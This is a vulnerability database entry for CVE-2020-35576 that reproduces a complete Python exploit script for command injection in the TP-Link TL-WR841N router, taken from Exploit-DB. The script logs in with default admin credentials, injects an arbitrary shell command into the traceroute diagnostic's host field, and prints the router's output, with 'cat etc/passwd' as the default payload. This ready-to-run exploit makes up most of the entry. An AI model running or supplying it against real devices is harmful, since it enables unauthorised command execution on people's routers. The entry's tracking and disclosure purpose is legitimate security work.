Details of VAR-E-202106-0039

ID

VAR-E-202106-0039

CVE

cve_id:

CVE-2020-35576

Trust: 1.0

sources: EXPLOIT-DB: 50058

EDB ID

50058

TITLE

TP-Link TL-WR841N - Command Injection - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 50058

DESCRIPTION

TP-Link TL-WR841N - Command Injection. CVE-2020-35576 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 50058

AFFECTED PRODUCTS

vendor:

tp link

model:

tl-wr841n

scope:

version:

Trust: 1.6

sources: EXPLOIT-DB: 50058 // EDBNET: 104510

EXPLOIT

# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35576

import requests
import sys
import time

try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd=`")
payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break

Trust: 1.0

sources: EXPLOIT-DB: 50058

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 50058

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 50058

TYPE

Command Injection

Trust: 1.6

sources: EXPLOIT-DB: 50058 // EDBNET: 104510

CREDITS

Koh You Liang

Trust: 0.6

sources: EXPLOIT-DB: 50058

EXTERNAL IDS

db:	EXPLOIT-DB	id:	50058	Trust: 1.6
db:	NVD	id:	CVE-2020-35576	Trust: 1.0
db:	EDBNET	id:	104510	Trust: 0.6

sources: EXPLOIT-DB: 50058 // EDBNET: 104510

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2020-35576	Trust: 1.0
url:	https://www.exploit-db.com/exploits/50058/	Trust: 0.6

sources: EXPLOIT-DB: 50058 // EDBNET: 104510

SOURCES

db:	EXPLOIT-DB	id:	50058
db:	EDBNET	id:	104510

LAST UPDATE DATE

2022-07-27T10:02:33.986000+00:00

SOURCES RELEASE DATE

db:	EXPLOIT-DB	id:	50058	date:	2021-06-24T00:00:00
db:	EDBNET	id:	104510	date:	2021-06-24T00:00:00